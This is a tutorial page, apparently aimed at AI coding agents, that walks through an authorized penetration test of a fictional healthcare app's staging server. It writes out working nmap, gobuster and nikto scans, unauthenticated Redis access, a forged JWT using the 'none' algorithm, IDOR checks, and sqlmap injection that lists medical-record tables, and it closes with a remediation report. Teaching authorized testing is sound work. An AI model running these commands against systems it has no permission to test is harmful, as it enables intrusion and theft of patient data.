Terminal.skills
Use Cases/Conduct a Web Application Penetration Test

Conduct a Web Application Penetration Test

Perform a full web application penetration test following industry methodology — from reconnaissance and content discovery through vulnerability scanning, exploitation, and report generation. Covers the complete workflow using Nmap, Gobuster, Nikto, Burp Suite, sqlmap, and Metasploit.

DevOps#nmap#reconnaissance#network-scanning#penetration-testing#port-scanning
Works with:claude-codeopenai-codexgemini-clicursor
$

Marta is a security consultant hired to assess a healthcare SaaS platform before it handles patient data. The client runs a Next.js frontend, a Python API backend, a PostgreSQL database, and a Redis cache — all on AWS. She has 5 days and a signed Rules of Engagement document that authorizes testing against the staging environment. Her goal: find every vulnerability that could lead to unauthorized data access, document the exploitation path, and provide actionable remediation guidance.

Phase 1: Reconnaissance

Every pentest starts with understanding the attack surface. Marta maps out what's running, what's exposed, and what versions are in use.

bash
# Step 1: Port scan with service detection
nmap -sV -sC -p- -T4 -oA recon/nmap-full staging.healthapp.example.com
# Results:
# PORT     STATE  SERVICE    VERSION
# 22/tcp   open   ssh        OpenSSH 9.3 (Ubuntu)
# 80/tcp   open   http       nginx/1.25.3 (redirects to 443)
# 443/tcp  open   https      nginx/1.25.3
# 3000/tcp open   http       Node.js (Next.js)
# 5432/tcp open   postgresql PostgreSQL 16.1
# 6379/tcp open   redis      Redis 7.2.3
# 8000/tcp open   http       Uvicorn (Python FastAPI)

# Step 2: SSL/TLS analysis
nmap --script ssl-enum-ciphers,ssl-cert -p 443 staging.healthapp.example.com
# Check for: weak ciphers, expired certificates, missing HSTS

# Step 3: NSE vulnerability scripts against discovered services
nmap --script vuln -p 22,80,443,3000,5432,6379,8000 staging.healthapp.example.com

The initial scan reveals two immediate concerns: PostgreSQL and Redis are exposed to the internet. Redis on port 6379 has no authentication — that's a critical finding before any web testing even begins.

bash
# Verify Redis is unauthenticated
redis-cli -h staging.healthapp.example.com
> INFO server
# If this returns server info → unauthenticated access confirmed
> KEYS *
# If this returns session keys → session hijacking possible

Phase 2: Content Discovery

Hidden endpoints, backup files, and forgotten admin panels are often the easiest path in.

bash
# Step 4: Directory and file enumeration on the main app
gobuster dir -u https://staging.healthapp.example.com \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x js,json,txt,env,bak,old,sql,zip,php \
  -t 50 \
  --status-codes 200,204,301,302,307,401,403 \
  -o recon/gobuster-main.txt

# Interesting findings:
# /api/docs          (Status: 200) [Size: 15234]  → Swagger UI exposed!
# /api/v1/admin      (Status: 401) [Size: 89]     → Admin API exists
# /.env.example      (Status: 200) [Size: 1247]   → Environment variables template
# /backup            (Status: 403) [Size: 162]     → Backup directory exists
# /debug             (Status: 200) [Size: 8921]    → Debug endpoint active in staging

# Step 5: API endpoint enumeration from Swagger
# Download the OpenAPI spec
curl -s https://staging.healthapp.example.com/api/docs/openapi.json \
  -o recon/openapi.json

# Extract all endpoints
cat recon/openapi.json | python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec['paths'].items():
    for method in methods:
        print(f'{method.upper():6s} {path}')
" | sort > recon/api-endpoints.txt
# Found 47 API endpoints across /users, /patients, /appointments, /records, /admin

# Step 6: Subdomain enumeration
gobuster dns -d healthapp.example.com \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -o recon/subdomains.txt
# Found: api, staging, dev, mail, vpn, grafana, jenkins

Phase 3: Web Server Analysis

bash
# Step 7: Nikto server configuration audit
nikto -h https://staging.healthapp.example.com \
  -o recon/nikto-main.html -Format html

# Key findings:
# - Missing X-Frame-Options header (clickjacking risk)
# - Missing Content-Security-Policy header
# - Server header reveals nginx version
# - /debug endpoint exposes stack traces with file paths
# - Directory indexing enabled on /static/uploads/

# Step 8: Nikto on the API server
nikto -h https://staging.healthapp.example.com:8000 \
  -o recon/nikto-api.html -Format html

Phase 4: Authentication and Authorization Testing

This is where Burp Suite becomes the primary tool. Marta proxies all traffic through Burp and systematically tests access controls.

Step 9: Authentication testing (via Burp Repeater)

# Test 1: Brute force protection
POST /api/v1/auth/login
{"email": "admin@healthapp.example.com", "password": "wrong"}
→ Send 50 times rapidly
→ FINDING: No rate limiting on login endpoint (HIGH)
→ Account lockout never triggers

# Test 2: Password reset flow
POST /api/v1/auth/reset-password
{"email": "admin@healthapp.example.com"}
→ Response includes reset token in the JSON body (!) 
→ FINDING: Password reset token exposed in API response (CRITICAL)
→ Any user's password can be reset by knowing their email

# Test 3: JWT analysis (via JWT Editor extension)
→ Decode access token: {"sub": "user-123", "role": "patient", "exp": ...}
→ Modify role to "admin" → re-sign with "none" algorithm
→ FINDING: JWT accepts "none" algorithm (CRITICAL)
→ Any user can escalate to admin by modifying their own token
Step 10: Authorization testing (via Burp Intruder + Autorize)

# Configure Autorize with two sessions:
# Session A: Regular patient user (role: patient)
# Session B: Admin user (role: admin)

# Autorize automatically replays every request from Session B
# using Session A's token. Results:

# Endpoint                              Admin  Patient  FINDING
# GET  /api/v1/patients                 200    200      ⚠️ IDOR
# GET  /api/v1/patients/{id}/records    200    200      ⚠️ IDOR - CRITICAL
# POST /api/v1/admin/users              201    201      ⚠️ Privilege escalation
# PUT  /api/v1/admin/settings           200    403      ✓ Protected
# DELETE /api/v1/patients/{id}          204    403      ✓ Protected

# FINDING: Patient users can access other patients' medical records (CRITICAL)
# FINDING: Patient users can create admin accounts (CRITICAL)

Phase 5: Injection Testing

bash
# Step 11: SQL injection on the search endpoint (found via Burp)
# Export the request from Burp to a file
cat > recon/search-request.txt << 'EOF'
POST /api/v1/patients/search HTTP/1.1
Host: staging.healthapp.example.com
Authorization: Bearer eyJ...
Content-Type: application/json

{"query": "smith", "filters": {"department": "cardiology"}}
EOF

# Test with sqlmap
sqlmap -r recon/search-request.txt \
  --level=3 --risk=2 \
  --batch \
  --threads=10 \
  -o recon/sqlmap-results

# Results:
# Parameter 'query' is vulnerable to:
# - Boolean-based blind SQL injection
# - Time-based blind SQL injection
# DBMS: PostgreSQL 16.1

# Enumerate what's accessible
sqlmap -r recon/search-request.txt \
  --batch --current-user --current-db --is-dba

# current user: app_user
# current database: healthapp_staging
# is DBA: False (good — limited privileges)

# Prove impact: list tables
sqlmap -r recon/search-request.txt \
  --batch -D healthapp_staging --tables

# Tables: users, patients, medical_records, appointments, prescriptions, audit_log
# FINDING: SQL injection with access to medical records table (CRITICAL)

Phase 6: Report Compilation

markdown
# Vulnerability Report — HealthApp Staging Assessment
# Date: February 2026 | Assessor: Marta S.

## Executive Summary
14 vulnerabilities found: 5 Critical, 3 High, 4 Medium, 2 Low.
The application has severe access control failures that would allow
any authenticated user to access all patient medical records.
**Recommendation: Do NOT proceed to production until Critical findings are resolved.**

## Critical Findings

### 1. Unauthenticated Redis Access (CVSS 9.8)
- **Impact**: Session hijacking, data theft
- **Evidence**: `redis-cli -h staging.healthapp.example.com` returns data
- **Remediation**: Bind Redis to 127.0.0.1, require AUTH, block port 6379 in security group

### 2. Patient Records Accessible via IDOR (CVSS 9.1)
- **Impact**: Any patient can view any other patient's medical records
- **Evidence**: GET /api/v1/patients/OTHER-ID/records returns data with patient token
- **Remediation**: Implement row-level access control; verify requesting user owns the record

### 3. JWT "none" Algorithm Accepted (CVSS 9.8)
- **Impact**: Any user can escalate to admin
- **Evidence**: Modified JWT with alg:"none" accepted by server
- **Remediation**: Explicitly whitelist allowed algorithms; reject "none"

### 4. SQL Injection in Patient Search (CVSS 8.6)
- **Impact**: Read access to entire database including medical records
- **Evidence**: sqlmap confirms boolean-blind and time-blind injection
- **Remediation**: Use parameterized queries; input validation on search endpoint

### 5. Password Reset Token in API Response (CVSS 8.2)
- **Impact**: Account takeover for any user
- **Evidence**: POST /api/v1/auth/reset-password returns token in response body
- **Remediation**: Send token only via email; never include in API response

Results

The 5-day assessment finds 14 vulnerabilities, including 5 critical issues that would have exposed patient medical records. The exposed Redis instance had been in that state since the initial deployment 6 months ago — no automated tool caught it because most only check HTTP ports. The IDOR in patient records would have been a HIPAA violation the moment real patient data entered the system. The JWT "none" algorithm bypass means any registered user could become admin in seconds. The client delays their production launch by 3 weeks to fix all critical and high findings, then engages Marta for a retest. On retest, all 5 critical and 3 high issues are resolved. The 4 medium findings (missing security headers, verbose error messages, directory indexing, no rate limiting) are addressed in the following sprint.